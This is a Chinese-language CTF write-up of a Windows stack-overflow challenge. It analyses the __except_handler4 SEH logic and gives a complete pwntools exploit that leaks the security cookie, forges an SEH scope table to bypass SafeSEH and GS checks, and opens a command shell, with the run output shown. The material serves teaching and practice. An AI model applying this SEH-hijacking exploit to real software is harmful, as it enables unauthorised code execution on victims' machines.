原先只听过 win pwn 这个概念,这次尝试着做了一下,发现 Windows pwn 和 Linux pw 利用起来都差不多,差别就在于:对于 win pwn 的工具太少了。
源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/win_babystack.zip 。
由于 windows 调试 pwn 特别麻烦,所以我写了个小程序:(https://github.com/Ex-Origin/win_server)为了方便调试,其原理和xinted
的程序映射到端口的功能差不多,当远程pwntools
连过来以后,就可以在本地利用xdbg
或者windbg
来调试了。
注意调试的时候关闭ASLR,这样会方便很多。
目录
溢出点
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
FILE *v4; // eax
_DWORD *v5; // ST38_4
int v6; // [esp-C4h] [ebp-C4h]
int v7; // [esp-C0h] [ebp-C0h]
signed int i; // [esp-B8h] [ebp-B8h]
char v9[128]; // [esp-A0h] [ebp-A0h]
signed int v10; // [esp-8h] [ebp-8h]
v10 = 0;
v3 = (FILE *)_acrt_iob_func(1);
setvbuf(v3, 0, 4, 0);
v4 = (FILE *)_acrt_iob_func(0);
setvbuf(v4, 0, 4, 0);
puts("ouch! Do not kill me , I will tell you everything");
printf("stack address = 0x%x\n", v9);
printf("main address = 0x%x\n", main);
for ( i = 0; i < 10; ++i )
{
puts("Do you want to know more?");
read_n(v9, 10);
v7 = strcmp(v9, "yes");
if ( v7 )
v7 = -(v7 < 0) | 1;
if ( v7 )
{
v6 = strcmp(v9, "no");
if ( v6 )
v6 = -(v6 < 0) | 1;
if ( !v6 )
break;
read_n(v9, 256);
}
else
{
puts("Where do you want to know");
v5 = (_DWORD *)sub_401060();
printf("Address 0x%x value is 0x%x\n", v5, *v5);
}
}
v10 = -2;
puts("I can tell you everything, but I never believe 1+1=2");
puts("AAAA, you kill me just because I don't think 1+1=2??");
exit(0);
}
v9
长度为128,但是却可以输入256,直接导致栈溢出,但是程序出口全部都由exit
堵上了。
内置了后门:
.text:0040138D push offset Command ; "cmd"
.text:00401392 call ds:system
从汇编信息可得:
; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push ebp
mov ebp, esp
push 0FFFFFFFEh
push offset stru_403688
push offset __except_handler4
mov eax, large fs:0
push eax
add esp, 0FFFFFF40h
mov eax, ___security_cookie
xor [ebp-8], eax
xor eax, ebp
mov [ebp-1Ch], eax
main
安装了异常捕获机制,而且栈溢出恰好可以控制SEH
。
思路
劫持SEH
,控制程序流到后门。
如果没有SAFESEH
,我们可以直接更改handler
来拿到shell,但是有了这层保护,我们则需要想办法绕过它,SAFESEH
会对handler
进行检查,看看是否在__safe_se_handler_table
里面,如果不在就不会执行。
很显然后门地址是肯定不在其中的,那么接下来我们分析它的handler
----__except_handler4
__except_handler4
代码来自:http://www.jbox.dk/sanos/source/win32/msvcrt/except.c.html 。
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}
分析代码可知,我们只要控制了scopeTable
和sehFrame
就可利用filterFunc
来控制程序流。
其SEH
布局如下:
来自:https://bbs.pediy.com/thread-221016.htm 。
Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+
首先我们要__security_cookie
的值,他是在程序镜像上的,因为程序已经泄露了main
地址,所以我们可以根据该地址直接计算出来,然后我们就能伪造Scope Table
的地址了。
但是其还有一个ValidateLocalCookies
验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]
的值必须为__security_cookie
,通常计算可得该值的地址为stack_addr + 104
,所以在溢出的时候我们只要提前设置好该值就行。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
sh = remote('192.168.3.129', 1001)
def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)
sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))
security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))
# pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))
SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 733,
]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
运行实例:
ex@Ex:~/test$ python exp.py
[+] Opening connection to 192.168.3.129 on port 1001: Done
[+] stack_addr: 0x2bffa10
[+] main_address: 0xa110b0
[+] security_cookie: 0xd5813fd0
[+] next_addr: 0x2bffae4
[*] Switching to interactive mode
Microsoft Windows [Version 10.0.17763.557]
(c) 2018 Microsoft Corporation. All rights reserved.
D:\test>$ whoami
whoami
win10\ex
D:\test>$ type txt
type txt
123456
D:\test>$ exit
exit
AAAA, you kill me just because I don't think 1+1=2??
[*] Got EOF while reading in interactive
$
[*] Closed connection to 192.168.3.129 port 1001
[*] Got EOF while sending in interactive
部分资料来源: